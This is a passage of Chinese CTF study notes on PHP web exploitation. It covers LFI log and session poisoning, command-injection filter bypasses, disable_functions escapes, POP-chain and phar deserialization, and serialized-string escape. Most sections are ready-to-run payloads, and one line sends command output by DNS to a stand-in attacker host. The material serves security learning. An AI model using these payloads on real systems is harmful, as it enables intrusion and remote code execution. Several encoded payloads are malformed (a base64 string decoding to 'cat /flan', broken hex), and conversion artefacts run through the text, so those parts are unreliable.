?file=/var/log/apache2/access.log&cmd=id
?file=/var/log/nginx/access.log&cmd=cat+/flag
```

方法2: PHP Session 文件包含

```
# Session文件默认路径: /tmp/sess_[SESSIONID]

# Step 1: 让服务端将我们的代码写入Session
GET /login.php?name=<?php system($_GET['cmd']);?>
Cookie: PHPSESSID=abc123

# Step 2: 包含Session文件
?file=/tmp/sess_abc123&cmd=id
```

利用条件: LFI + 知道PHPSESSID + Session内容可控 + 知道Session路径

方法3: `php://input` 直接RCE

```
# 条件: allow_url_include = On
POST /vuln.php?file=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded

<?php system('cat /flag');?>
```

方法4: `/proc/self/environ` 环境变量投毒

```
# Step 1: User-Agent写入代码（同日志投毒）
curl -A "<?php system('id');?>" http://target/

# Step 2: 包含environ文件
?file=/proc/self/environ
# 注意：需要有读取 /proc/self/environ 的权限
```

LFI利用总结对照表：

方法	需要条件	稳定性
日志投毒	能读日志文件	高
Session包含	Session值可控	高
php://input	allow_url_include=On	高
phar://	文件上传 + LFI	高
environ投毒	/proc/self/environ可读	中
data://	allow_url_include=On	高

1.5 绕过（%00、?、编码、数组等）

① `../` 过滤绕过

```
# 情况1: str_replace("../","") 只替换一次
..././      → 替换 ../ → 剩下 ../      ✓
....//      → 替换 ../ → 剩下 ../      ✓
..././..././ → 多层绕过                ✓

# 情况2: URL编码绕过
..%2f       → URL解码后为 ../
..%252f     → 双重URL编码（web服务器解一次，PHP再解一次）
%2e%2e%2f   → 全编码 ../

# 情况3: 大小写（windows服务器）
```

```
..\          → windows路径分隔符
..\%5c       → %5c = \ (windows)
// 可复现示例
$file = str_replace("../", "", $_GET['file']);
include($file);
// 攻击: ?file=../../../../../../etc/passwd
```

② %00 截断（PHP 5.3.4 以下）

```
# 原理: PHP底层C函数遇到 \0 (null字节) 就截断字符串
?file=../../../../../../etc/passwd%00.jpg
# 服务端看到: ../../../../etc/passwd (.jpg被截断)
```

③ 绝对路径绕过相对路径限制

```
# 题目限制: 只能包含 uploads/ 目录下的文件
# 绕过: 直接用绝对路径
?file=/etc/passwd
?file=/var/www/html/flag.php
?file=/proc/self/environ
```

④ 双写绕过

```
....// → 删除内层../ → ../
```

⑤ 伪协议过滤绕过

```
# 过滤了 php:// 关键字 → 大小写绕过 (某些系统)
PHP://filter/...
pHp://filter/...

# 过滤了 base64 关键字 → 换其他编码
php://filter/read=convert.quoted-printable-
encode/resource=index.php

# data:// 被过滤 → 使用 php://input 替代
```


通配符绕过

```
# ? 仅代表单个字符, * 代表任何字符串 (模糊搜索)
/???/passwd      # 匹配 /etc/passwd
cat /fla*        # 匹配 /flag
```

2. 命令执行 (RCE)

本章所需语法速查

- `system($cmd)` 直接执行并输出; `$cmd` (反引号) 等同于 `shell_exec`, 需要 `echo`
- 可变函数: `$f = "system"; $f("id");` → 等同于 `system("id")`
- `call_user_func("system", "id")` → 等同于 `system("id")`
- `eval("php代码字符串")` → 执行字符串作为 *PHP* 代码, 字符串末尾要加 `;`
- 字符串拼接: `"sys" . "tem" → "system"`

2.1 system / exec / passthru / shell_exec / eval

原理: PHP 提供了多个执行系统命令的函数, 当这些函数的参数可控时, 攻击者可以执行任意系统命令。

危险点: 参数来自用户输入且未经充分过滤。

利用方式:

```
// 典型漏洞代码
$cmd = $_GET['cmd'];
system($cmd);
// ?cmd=cat /flag
// ?cmd=ls /
```

命令执行函数对比（填linux命令）

函数	说明	取回输出方式
<code>system(\$cmd)</code>	执行命令，直接输出结果	直接回显
<code>exec(\$cmd)</code>	执行命令，只返回最后一行	<code>print_r(\$output)</code> 数组
<code>passthru(\$cmd)</code>	执行命令，原始输出（含二进制）	直接回显
<code>shell_exec(\$cmd)</code>	执行命令，返回全部输出字符串	需要 <code>echo</code>
<code>\$cmd</code> 包裹 反引号，等同于 <code>shell_exec</code> 需要 <code>echo</code>		
<code>popen(\$cmd, 'r')</code>	打开进程管道	<code>fgets(\$handle)</code> 再输出
<code>proc_open(\$cmd, ...)</code>	高级进程控制	管道读取

代码执行函数(可把命令执行函数嵌套在里面)

函数	说明
<code>eval(\$code)</code>	执行PHP代码字符串
<code>assert(\$code)</code>	PHP5中可执行字符串代码
<code>preg_replace(\$pattern, \$replace, \$subject)</code>	<code>\$pattern</code> 正则表达式 <code>\$subject</code> 被替换的原始字符串
<code>create_function()</code>	创建匿名函数（已废弃）
<code>call_user_func(\$func, \$arg)</code>	调用函数（可变函数入口）
<code>call_user_func_array(\$func, \$args)</code>	调用函数（数组参数）

可变函数（RCE入口）：

```
$func = $_GET['f'];
$func("ls");
// ?f=system → 执行 system("ls")
```

eval注入：

```
eval("echo " . $_GET['input'] . ";" );  
// ?input=system('id')  
// ?input=`cat /flag` // 反引号 需要echo才能看到回显
```

assert绕过（PHP5）：

```
assert($_GET['code']);  
// ?code=phpinfo()  
// ?code=system('cat /flag')
```

2.2 回显差异与取回输出

无回显命令执行（盲RCE）：

```
# 方法1：写文件后访问  
?cmd=id>/var/www/html/output.txt  
# 然后访问 http://target/output.txt  
  
# 方法2：DNS带外（需要自己的DNS服务器）  
?cmd=curl http://`id`.your-server.com  
  
# 方法3：sleep判断是否执行成功（时间盲注）  
?cmd=sleep 5 # 如果延迟5秒则命令执行成功  
  
# 方法4：； 提前执行绕过重定向  
# 利用 ； 可以在同一条 shell 命令里"提前执行你自己的命令"  
# 而后面的 >/dev/null 2>&1 只作用在后一条命令上
```

2.3 参数注入与拼接

命令连接符（最基础，必须掌握）：

```
# 顺序执行（前一个无论成功失败都执行后一个）
?cmd=id;cat /flag

# 逻辑与（前一个成功才执行后一个）
?cmd=id&&cat /flag

# 逻辑或（前一个失败才执行后一个）
?cmd=aaa||cat /flag

# 管道（前一个输出作为后一个输入）
?cmd=echo 'test'|cat /flag
// 题目代码：只过滤了部分命令关键字，但没过滤连接符
system("ping " . $_GET['ip']);
// ?ip=127.0.0.1;cat /flag → 顺序执行
// ?ip=127.0.0.1&&cat /flag → 逻辑与
// ?ip=aaa||cat /flag → 逻辑或，ping失败后执行cat
```

2.4 常见过滤绕过（空格、重定向、编码）

① 空格过滤绕过

```
# 方法1: ${IFS} 内部字段分隔符（$别忘了）
cat${IFS}/flag
cat${IFS}${IFS}/flag

# 方法2: $IFS$9
cat$IFS$9/flag

# 方法3: 重定向符 < 读取文件
cat</flag ## 把 /flag 文件内容作为 cat 的标准输入(stdin)
cat<>/flag ## 以“读写模式”打开 /flag
并连接到 stdin/stdout
```

方法4: URL编码空格

cat%20/flag

方法5: 花括号展开 (Bash特性)

{cat,/flag}

方法6: Tab字符替代空格

cat%09/flag

② 关键字/函数名过滤绕过

单引号/双引号拆分 (shell会自动拼接)

c'a't /flag

c"a"t /flag

ca\t /flag # 反斜杠

变量拼接

a=ca;b=t;\$a\$b /flag

特殊变量 \$1-\$9 & @ \$* 等, 加在字符之间被当空字符处理

编码执行

echo "Y2F0IC9mbGFu" | base64 -d | bash # cat /flag

echo "636174202f6666c6167" | xxd -r -p | bash # hex解码执行

从环境变量构造

echo f\${PATH:5:1}lag # 取PATH第5个字符 (通常是/), 取一位

PHP代码中的拼接绕过:

```
// 黑名单过滤了 system、exec 等关键词
$a = 'sys';
$b = 'tem';
$c = $a . $b;
$c('id');           // 等同于 system('id')

// 更隐蔽的写法
$f = str_replace('_', '', 'sys_tem'); // system
$f('cat /flag');

// 利用PHP内置的字符串函数
$cmd = implode('', ['s','y','s','t','e','m']);
$cmd('id');
```

③ 文件读取命令替代（**cat**被禁时）

```
tac /flag           # 反向输出
nl /flag            # 带行号输出
more /flag          # 分页输出
less /flag          # 分页输出
head /flag          # 输出前10行
tail /flag          # 输出最后10行
strings /flag       # 输出可打印字符
od -c /flag         # 以字符形式dump
xxd /flag           # 十六进制dump
sort /flag          # 排序后输出
grep "" /flag       # 匹配所有行
awk '{print}' /flag
sed '' /flag
dd if=/flag
```

④ 编码绕过体系

```
# Base64 编码执行
echo "aWQ=" | base64 -d | sh          # id
echo "Y2F0IC9mbGFn" | base64 -d | sh # cat /flag

# Hex 编码执行
printf '\x69\x64' | sh              # 执行 id

# PHP中的各种编码执行
eval(base64_decode('c3lzdGvtKCdpZCcp')); // system('id')
eval(hex2bin('737973746556d282769642729')); // system('id')
```

编码速查表：

字符串	BASE64编码
id	aWQ=
cat /flag	Y2F0IC9mbGFn
system	c3lzdGvt
phpinfo	cGhwaW5mbw==

⑤ 正则绕过

```
preg_match("/flag| /", $cmd) // 过滤flag or 空格（管道符是or运算符）

preg_match('/^[a-z]+$/', $input)
// 绕过：换行符 %0a
// "abc%0asystem('id')" → 仅匹配第一行 abc

// preg_match 对数组返回 false（不报错）
// ?input[]=1 → preg_match返回false → 绕过
```

⑥ 死亡绕过 (**die/exit**)

```
file_put_contents($file, "<?php die('hack'); ?>" . $data);
// 即使写入内容被die包裹, 可用以下方式绕过:

// base64解码 (die字符经base64解码后变成乱码, 无法执行)
// ?file=php://filter/write=convert.base64-
decode/resource=shell.php
// data = aaaPD9waHAgc3lzdGvKCRfr0VUWydjbnQnXSk7Pz4=
// (前缀aaa是为了补齐base64对齐)
```

⑦ **disable_functions** 绕过

```
// 查看被禁用的函数
print_r(ini_get('disable_functions'));

// 方法1: 找未禁用的替代函数
passthru('id');
shell_exec('cat /flag');
`cat /flag`;
popen('cat /flag', 'r');

// 方法2: PHP 7.4+ FFI
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("cat /flag > /tmp/out");
echo file_get_contents('/tmp/out');

// 方法3: LD_PRELOAD 劫持 (高阶)
// 上传恶意.so文件, 通过mail()/error_log()触发加载, 劫持系统调用
```

3. 反序列化

 本章所需语法速查

- `serialize($obj)` → 把对象转为字符串; `unserialize($str)` → 还原为对象

- 魔术方法以双下划线开头（`__destruct`、`__wakeup`），自动触发，无需手动调用
- `$this->属性名` → 在方法内部访问对象自身属性
赋值 `$object_name->property="a"`
- `new ClassName()` → 实例化；`$obj->method()` → 调用方法
- 类定义：`class Foo { public $x; public function bar(){} }`

3.1 unserialize 原理

原理：`unserialize()` 把序列化字符串还原为 PHP 对象，并自动触发魔术方法。

危险点：`$data = unserialize($_GET['data'])` —— 用户可控，可构造恶意序列化字符串。（触发des 不触发cons）

序列化格式：

```
class User {
    public $name = "admin";
    public $age = 18;
    private $secret = "key";
}
// serialize() 输出:
O:4:"User":3:
{s:4:"name";s:5:"admin";s:3:"age";i:18;s:13:"\0User\0secret";s:3:"key";} (分号别忘了)
```

格式解析：

```
O:类名长度:"类名":属性数:{
    s:键长度:"键名"; 值类型:值长度:"值";
}
// 一定要带
类型标识:
s = string
i = integer
b = boolean (0/1)
```

```

N = null
a = array
O = object O:类名长度:"类名":属性数量:{
属性...
}

```

<https://chatgpt.com/share/6a630edc-ec34-83ec-a110-8bcc714984fe>

属性访问修饰符序列化:

- `private` → `\0类名\0属性名` (URL编码: `%00类名%00属性名`)
- `protected` → `\0*\0属性名` (URL编码: `%00*%00属性名`)

反序列化生成对象里的值由反序列化里的值提供 与原有类预定义的值无关 (函数调用同理)

3.2 魔术方法 (`wakeup` / `destruct` 等)

!!! 反序列化的对象里面必须包含对应的魔术方法

方法	触发时机
<code>__construct()</code>	对象创建时
<code>__destruct()</code>	对象销毁时 (脚本结束) <code>new</code> 的对象运行完被释放或反序列化生成的对象最后释放都会触发 即创建几个对象最后会触发几次
<code>__wakeup()</code>	<code>unserialize()</code> 后
<code>__sleep()</code>	<code>serialize()</code> 前
<code>__toString()</code>	对象被当字符串使用时 (<code>print_r(\$var)</code>); 不会触发 <code>echo \$var</code> ; 会触发
<code>__get(\$name)</code>	访问不存在/不可访问的属性时
<code>__set(\$name, \$value)</code>	设置不存在/不可访问的属性时
<code>__call(\$name, \$args)</code>	调用不存在/不可访问的方法时 <code>\$var ->xxx('a')</code> ; 参数: (调用的) 方法名称 方法参数
<code>__invoke()</code>	对象被当函数调用时 <code>\$var()</code> ;

方法	触发时机
<code>__isset(\$name)</code>	对不可访问属性使用 <code>isset()</code> or <code>empty()</code>
<code>__unset(\$name)</code>	对不可访问属性使用 <code>unset()</code>
<code>__clone()</code>	使用 <code>clone()</code> 克隆对象后触发

触发链总结：

倒推 由目标倒推步骤

触发链一（最常见）：

`unserialize` → `__wakeup` → `__destruct` → [危险操作]

触发链二（字符串操作）：

`unserialize` → `__wakeup` → `__toString` → [危险操作]

触发链三（属性访问）：

`unserialize` → `__wakeup` → `__get` → `__call` → [危险操作]

触发链四（对象当函数）：

`unserialize` → `__destruct` → `call_user_func($obj)` → `__invoke` → [危险操作]

3.3 POP 链基本思路

原理：找魔术方法（入口点）→ 追踪危险函数 → 拼接调用链（赋值相关函数即可）

可以直接对`public`属性进行赋值

反向推导的核心方法：每个方法问两个问题——①它能不能被自动触发？②如果不能，谁会调用它？沿着这两个问题一路往上问，直到撞上 `unserialize()` 能直接触发的 `entry`。

构造步骤：

Step 1: 找"入口点"（哪些魔术方法会被自动触发）

`unserialize()` → `__wakeup()` → `__destruct()`

字符串拼接 → `__toString()`

访问属性 → `__get()` / `__set()`

调用方法 → `__call()`
对象当函数 → `__invoke()`

Step 2: 找"危险操作" (哪里有可控的命令执行/文件操作)

```
system($this->cmd)
eval($this->code)
file_get_contents($this->file)
include($this->path)
```

Step 3: 连接两者 (中间可能有多跳)

入口魔术方法 → 调用某个方法/属性 → 触发另一个类的魔术方法 → ... → 危险函数

典型多级**POP**链示例:

```
class A {
    public $obj;
    // 入口: unserialize后自动触发
    public function __destruct() {
        $this->obj->run(); // 调用B的run()
    }
}

class B {
    public $callback;
    public function run() {
        call_user_func($this->callback); // 调用C的__invoke
    }
}

class C {
    public $cmd;
    // 被当函数调用时触发
    public function __invoke() {
        system($this->cmd); // 最终执行命令
    }
}

// 构造利用链
$c = new C();
```

```

$c->cmd = "cat /flag";
$b = new B();
$b->callback = $c;
$a = new A();
$a->obj = $b;

echo serialize($a);
// 传入服务端: unserialize → A::__destruct → B::run → C::__invoke →
system

```

image-20260524234048832

构造payload 复制出代码 删除function 只留下成员属性 把每个类按照分析赋值（私有属性直接在类里面赋值）设\$a \$b进行实例化，赋值 最后echo serialize

例：

```

class fast {
    public $source;

    public function __wakeup() {
        echo "wakeup is here!!";
        echo $this->source;
    }
}

class sec {
    var $benben;

    public function __toString() {
        echo "tostring is here!!";
    }
}

$b = $_GET['benben'];
unserialize($b);

```

payload: O:4:"fast":1:{s:6:"source";O:3:"sec":0:{}} // The key is 'source', and the value is an object

例2

 image-20260525123142818

 image-20260525124008718

因为\$var是private属性 最后的方框要改为00%

因为要触发wakeup 所以serialize \$show

审计代码找POP链：

```
// 1. 搜索所有魔术方法
grep -n
"__destruct\|__wakeup\|__toString\|__get\|__set\|__call\|__invoke"
*.php

// 2. 搜索危险操作
grep -n "system\|exec\|eval\|include\|file_get_contents\|unlink"
*.php

// 3. 在魔术方法中追踪变量到危险函数的路径
```

3.4 常见限制与绕过

`__wakeup` 绕过（**CVE-2016-7124**）

PHP 5.6.25 以下 / 7.0.10 以下：

当序列化字符串中属性数量 > 实际数量时，`__wakeup` 不执行：

```
O:4:"User":1:{s:4:"name";s:5:"admin";}
      ↑ 改成比实际属性多的数字
O:4:"User":2:{s:4:"name";s:5:"admin";}
```

phar 反序列化（高阶考点）

核心： `phar://` 伪协议 + 文件操作函数 = 无需 `unserialize()` 也能触发反序列化
题目找不到反序列化入口时使用

创建恶意 **phar** 文件：

```
<?php
class EvilClass {
    public $cmd;
    public function __destruct() {
        system($this->cmd);
    }
}

// 必须开启 phar.readonly = off
// 命令行: php -d phar.readonly=0 create_phar.php

$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
// 加了GIF89a可以伪装成GIF图片绕过文件类型检测

$evil = new EvilClass();
$evil->cmd = "cat /flag";
$phar->setMetadata($evil);
$phar->addFromString("test.txt", "test content");
$phar->stopBuffering();
// 生成 evil.phar, 改名为 evil.jpg 绕过上传限制
?>
```

触发方式（不需要 **include!**）：

```
file_exists('phar:///var/www/html/uploads/evil.jpg');
is_file('phar:///var/www/html/uploads/evil.jpg');
fopen('phar:///var/www/html/uploads/evil.jpg', 'r');
file_get_contents('phar:///var/www/html/uploads/evil.jpg');
stat('phar:///var/www/html/uploads/evil.jpg');
```

完整攻击流程：

1. 分析目标代码：找文件上传 + 文件操作路径可控 + 可利用类
2. 本地编写生成phar脚本（复制目标类定义，设置恶意属性）
3. 上传phar文件（改后缀为.jpg/.png/.gif，使用GIF89a魔术字节）
4. 触发：让目标的文件操作函数处理phar://路径 → 自动触发__destruct → RCE

phar结构：stub phar文件标识 格式为xxx; (头部信息)

manifest 压缩文件的属性等信息 以序列化存储 phar协议解析文件时会自动触发对manifest字段的序列化字符串进行反序列化

contents

signature

image-20260526005331764

创造phar文件：

```
class TestObject{
    public $data;
}

$phar = new Phar("phar.phar"); //后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub
$o = new TestObject();
$o -> data=''; //通过注入命令来执行
$phar->setMetadata($o); //将自定义的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
```

引用：\$a ->xxx = &\$a ->yyy（取址）达到xxx===yyy

4. PHP 面向对象与继承

本章所需语法速查

- `class B extends A` → *B* 继承 *A*，拥有 *A* 的所有 *public/protected* 成员
- `parent::方法名()` → 调用父类方法；`self::` → 引用当前类；`static::` → 运行时实际类
- `abstract class` → 抽象类，不能直接 `new`；`interface` → 接口，用 `implements` 实现
- `trait` → 用 `use TraitName;` 混入代码片段
- `protected $x` 序列化格式：`s:N:"\0*\0x"`（*N* 含两个 `\0`）；`private $x` 格式：`s:N:"\0类名\0x"`

💡 为什么继承对 **CTF** 重要？框架 *POP* 链中，危险属性往往定义在父类，子类提供入口魔术方法。序列化子类对象时，父类的 *protected* 属性也会一并序列化，手写 *payload* 必须处理 `%00` 前缀。子类继承父类的危险属性、子类覆盖父类方法、*trait* 混入危险函数.....不懂继承就读不懂框架链。

4.1 访问修饰符（`public / protected / private`）

```
class Animal {  
    public    $name;      // 任何地方都可访问  
    protected $age;      // 本类 + 子类可访问，外部不行  
    private  $secret;    // 只有本类可访问，子类也不行  
}
```

序列化时的差异（**CTF**核心）：

```

class User {
    public $name = "admin"; // 序列化为 s:4:"name"
    protected $role = "guest"; // 序列化为 s:7:"\0*\0role"
    private $passwd = "123456"; // 序列化为 s:13:"\0User\0passwd"
}

echo serialize(new User());
// o:4:"User":3:
{s:4:"name";s:5:"admin";s:7:"\0*\0role";s:5:"guest";s:13:"\0User\0passwd";s:6:"123456";}

```

手写序列化时必须加 `%00`（URL编码）：

```

protected $role → %00*%00role
private $passwd → %00User%00passwd

```

4.2 继承（extends / parent）

基本语法：

```

class Animal {
    public $name;
    public function speak() {
        echo "...";
    }
    public function getName() {
        return $this->name;
    }
}

class Dog extends Animal {
    public $breed;

    // 重写（Override）父类方法
    public function speak() {
        echo "Woof! I am " . $this->name;
    }
}

```

```

        // 调用父类方法
        public function info() {
            return parent::getName() . " (" . $this->breed . ")";
        }
    }

    $d = new Dog();
    $d->name = "Rex";
    $d->breed = "Husky";
    $d->speak(); // woof! I am Rex

```

子类继承父类所有 **public/protected** 属性和方法，**private** 不继承。

CTF 中的继承利用场景：

```

class Base {
    protected $cmd = "id"; // 子类可以访问和修改
    public function __destruct() {
        $this->run(); // 调用 run(), 子类可覆盖
    }
    public function run() {
        // 父类无危险操作
    }
}

class Evil extends Base {
    public function run() {
        system($this->cmd); // 子类覆盖, 触发命令执行
    }
}

// 构造 payload: 只需要序列化 Evil 对象
$e = new Evil();
$e->cmd = "cat /flag";
echo serialize($e);
// 反序列化时触发 Base::__destruct → Evil::run → system

```

protected 属性在子类中直接可用：

```
class A {
    protected $data = "hello";
}
class B extends A {
    public function show() {
        echo $this->data;    // ✅ 子类可以访问 protected 属性
    }
}
```

4.3 静态属性与方法（static）

```
class Counter {
    public static $count = 0;    // 静态属性：属于类本身，不属于对象

    public static function inc() {    // 静态方法
        self::$count++;
    }

    public function getCount() {
        return self::$count;    // self:: 引用本类静态成员
        // static:: 引用运行时实际类（晚静态绑定）
    }
}

Counter::inc();    // 通过类名调用，不需要实例化
echo Counter::$count;    // 1
```

`self::` vs `static::` 的区别（晚静态绑定）：

```

class ParentClass {
    public static function create() {
        return new self();    // 永远返回 ParentClass 的实例
        // return new static(); // 返回调用时实际类的实例（子类也能正确实例化）
    }
}

class ChildClass extends ParentClass {}

$obj = ChildClass::create();
// new self()    → ParentClass 实例（不是期望的 ChildClass!）
// new static() → ChildClass 实例（正确）

```

CTF 中静态方法常作为 **POP** 链跳板：

```

class Loader {
    public static $handler;
    public function __call($name, $args) {
        // 调用不存在的方法时触发
        return call_user_func_array(self::$handler, $args);
    }
}

// 控制 $handler 即可控制 call_user_func_array 的第一个参数

```

4.4 抽象类与接口（abstract / interface）

抽象类：

```

abstract class Shape {
    abstract public function area();    // 抽象方法：子类必须实现
    public function describe() {
        echo "Area: " . $this->area(); // 具体方法可以调用抽象方法
    }
}

class Circle extends Shape {

```

```

    public $radius;
    public function area() {           // 必须实现
        return pi() * $this->radius ** 2;
    }
}

// new Shape() → ❌ 报错，抽象类不能直接实例化
$c = new Circle();
$c->radius = 5;
$c->describe(); // Area: 78.539...

```

接口：

```

interface Runnable {
    public function run();           // 接口方法默认 public
abstract
}

interface Serializable {
    public function serialize();
    public function unserialize($data);
}

// 一个类可以实现多个接口（PHP 单继承，多接口）
class Task implements Runnable, Serializable {
    public function run() { echo "running"; }
    public function serialize() { return "..."; }
    public function unserialize($data) {}
}

```

CTF 中的意义： 框架 POP 链中大量类实现了同一接口，可互相替换，扩大了 gadget 的选择范围。

4.5 Trait

Trait 是 *PHP* 的代码复用机制，解决单继承限制。可以把 *trait* 理解为“混入代码片段”。

```
trait Logger {
    public function log($msg) {
        file_put_contents('/tmp/app.log', $msg . "\n",
FILE_APPEND);
    }
}

trait Executor {
    public function exec($cmd) {
        return system($cmd);    // 危险操作
    }
}

class App {
    use Logger, Executor;      // 同时混入两个 trait
}

$app = new App();
$app->exec("id");    // 来自 Executor trait, 直接 RCE
$app->log("done");    // 来自 Logger trait
```

Trait 在框架 **POP** 链中的意义：

```
// 框架中经常有这样的 trait:
trait HasEvents {
    protected $listeners = [];
    public function fireEvent($event) {
        foreach ($this->listeners as $listener) {
            call_user_func($listener, $event);    // ← 危险!
        }
    }
}

class Model {
```

```

        use HasEvents;
        public function __destruct() {
            $this->fireEvent('deleted');    // 析构时触发 → call_user_func
→ RCE
        }
    }

    // 序列化时只需设置 $listeners = ['system'] 和 $event = 'cat /flag'

```

4.6 继承在 POP 链中的实际利用

场景：子类继承危险属性，父类提供魔术方法入口

```

<?php
// 模拟框架结构
class BaseModel {
    protected $table;
    // 入口：对象销毁时触发
    public function __destruct() {
        $this->cleanup();
    }
    public function cleanup() {
        // 父类本身无危险操作
    }
}

class QueryBuilder extends BaseModel {
    public $connection;
    // 子类覆盖 cleanup，引入危险操作
    public function cleanup() {
        // $this->connection 是 Connection 对象（可被替换为任意对象）
        if ($this->connection) {
            $this->connection->close();    // → 触发
Connection::close 或 __call
        }
    }
}

```



```

class Connection {
    public $cmd;
    // close 不存在时触发 __call
    public function __call($name, $args) {
        system($this->cmd);    // 危险操作
    }
}

// ===== 构造 POP 链 =====
$conn = new Connection();
$conn->cmd = "cat /flag";

$qb = new QueryBuilder();
$qb->connection = $conn;    // 注入恶意 Connection 对象

echo urlencode(serialize($qb));
// 反序列化: QueryBuilder::__destruct
//          → QueryBuilder::cleanup (覆盖父类)
//          → Connection::__call (close不存在)
//          → system("cat /flag")
?>

```

关键审计技巧:

```

# 1. 搜索所有继承关系
grep -n "extends" *.php

# 2. 找父类有魔术方法、子类有危险操作的组合
grep -rn "function __destruct\|function __wakeup\|function __toString" .

# 3. 追踪 protected 属性从哪里来 (继承链)
# 子类序列化时 protected 属性需要 %00*%00 前缀

```

protected 属性序列化注意事项:

```

class Base {
    protected $cmd = "id";
}

```

```

class Child extends Base {
    // Child 继承了 $cmd, 序列化时 $cmd 仍是 protected
}

$c = new child();
echo serialize($c);
// o:5:"Child":1:{s:6:"\0*\0cmd";s:2:"id";}
//                               ↑ \0*\0 = protected 标记

// 手写 payload 必须用 URL 编码
// o:5:"Child":1:{s:6:"%00*%00cmd";s:6:"id";}
// 或者用 PHP 脚本生成（推荐）：
$c = new child();
$c->cmd = "cat /flag"; // 若属性是 protected 且子类可访问
echo urlencode(serialize($c));

```

5. 字符串逃逸（序列化逃逸）

 本章所需语法速查

- `str_replace($search, $replace, $subject)` → 替换字符串（影响长度！）
- `strlen($str)` → 返回字节数（不是字符数）
- `str_repeat("a", 25)` → 重复字符串25次 → `"aaa..."`（25个a）
- `serialize($obj)` → 注意输出格式 `s:长度:"内容"`，长度和内容必须精确匹配
- `ceil($n)` → 向上取整；`strlen('";s:4:"role";}')` 计算注入片段长度

核心漏洞：序列化字符串经过过滤函数处理后，字符数量发生变化，导致 *PHP* 解析时长度字段与实际内容不匹配，攻击者可以利用这个错位注入额外的序列化属性。先序再反序可能触发属性逃逸

5.1 原理：序列化字符串长度失配

序列化格式中 `s:长度:"内容"` 里的长度是字节数，必须精确匹配。

`};` 是结束标志 后面内容不影响

```
$obj->name = "admin";
// 序列化结果（片段）：
s:4:"name";s:5:"admin";
//           ↑ 长度5, "admin"恰好5字节，正确

// 如果过滤后内容变了，但长度字段还是旧值：
$name = str_replace("a", "xx", "admin"); // "admin" → "xxdmin" (6
字节)
// 序列化时就是：s:5:"xxdmin" ← PHP 会截取前5字节 "xxdmi", 剩余 n" 作为
后续解析
// → 解析错乱！
```

两种逃逸方向：

类型	触发条件	效果
增量逃逸	过滤后字符变多（如 <code>a</code> → <code>aa</code> ）	多出的字符把后续字段"挤出"，可注入新属性
减量逃逸	过滤后字符变少（如 <code>admin</code> → <code>""</code> ）	少了的字符使解析提前结束，可吞入后续真实属性

5.2 增量逃逸（字符变多）

典型触发：`str_replace("a", "aa", $data)` —— 每个 `a` 变成 `aa`，内容变长，但长度字段不变。

漏洞代码：

```
<?php
class User {
    public $name;
    public $role;
}
```

```

function filter($str) {
    return str_replace("a", "aa", $str); // 每个 a 替换为 aa
}

$obj = new User();
$obj->name = $_GET['name']; // 可控输入
$obj->role = "guest"; // 固定值，我们希望改成 admin

$ser = serialize($obj);
$filtered = filter($ser); // 过滤后存入数据库/传递
$result = unserialize($filtered); // 反序列化
echo $result->role; // 能否变成 admin?
?>

```

分析正常序列化：

```

原始: 0:4:"User":2:{s:4:"name";s:5:"aaaaa";s:4:"role";s:5:"guest";}
                        ↑ name 值为 5 个 a

过滤后: 0:4:"User":2:
{s:4:"name";s:5:"aaaaaaaaa";s:4:"role";s:5:"guest";}
                                                ↑ 5个a变10个a，但长度
字段仍是5

```

PHP 解析过滤后的字符串：

```

s:4:"name";s:5:"aaaaa    ← 读5字节内容停止，剩余
aaaaa";s:4:"role";s:5:"guest";} 被当后续解析

```

利用：让多出的字符恰好"注入"新的序列化属性

目标：把 `role` 改为 `admin`，需要注入 `";s:4:"role";s:5:"admin";}` 这段内容。

注入字符串长度 = 25 字节： `";s:4:"role";s:5:"admin";}`

我们需要多出 25 个字节来"填充"，让 PHP 把这 25 字节当作 `name` 的内容（因为长度字段比实际短了），剩余部分作为新属性解析。

构造步骤：

```
// 想注入的内容（闭合当前属性并注入新属性）：
$inject = '";s:4:"role";s:5:"admin";}';
// 长度 = 25

// 每个 a 替换成 aa，多出 1 字节
// 需要多出 25 字节 → 需要 25 个 a 作为"填充"
$padding = str_repeat("a", 25);

// 最终 name 值：25个a + 注入内容
$name = $padding . $inject;
// = "aaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:4:"role";s:5:"admin";}

// 序列化前：
// s:50:"aaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:4:"role";s:5:"admin";}";
//   ↑ 50 = 25(padding) + 25(inject)

// 过滤后（每个a变aa）：
//
s:50:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:4:"role
";s:5:"admin";}";
//           ↑ 50个a（25个a×2）
// PHP读50字节内容 → 恰好读完50个a → 剩余 ";s:4:"role";s:5:"admin";}" 继续解析
// → role 被覆盖为 admin! ✓
```

完整可复现示例：

```
<?php
class User {
    public $name;
    public $role;
}

function filter($str) {
    return str_replace("a", "aa", $str);
}

// 构造 payload
```

```

$obj = new User();
$obj->name = str_repeat("a", 25) . '";s:4:"role";s:5:"admin";}';
$obj->role = "guest";    // 这个值会被覆盖，可以写任意值

$ser = serialize($obj);
echo "序列化前:\n" . $ser . "\n\n";

$filtered = filter($ser);
echo "过滤后:\n" . $filtered . "\n\n";

$result = unserialize($filtered);
echo "role 值: " . $result->role . "\n";    // 输出: admin
?>

```

运行输出（验证）：

```

序列化前：
O:4:"User":2:
{s:4:"name";s:50:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:4:"role";s:5:"admin"
;};s:4:"role";s:5:"guest";}

过滤后：
O:4:"User":2:
{s:4:"name";s:50:"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa";s:4:"role";s:5:"admin";};s:4:"role";s:5:"guest";}

role 值: admin

```

5.3 减量逃逸（字符变少）

典型触发：`str_replace("admin", "", $data)` —— `admin`（5字节）被删除，内容变短，但长度字段不变。

漏洞代码：

```

<?php
class Config {

```

```

    public $user;
    public $is_admin;
}

function filter($str) {
    return str_replace("admin", "", $str); // 删除 admin
}

$obj = new Config();
$obj->user      = $_GET['user']; // 可控
$obj->is_admin = 0;             // 固定, 希望变成 1

$ser  = serialize($obj);
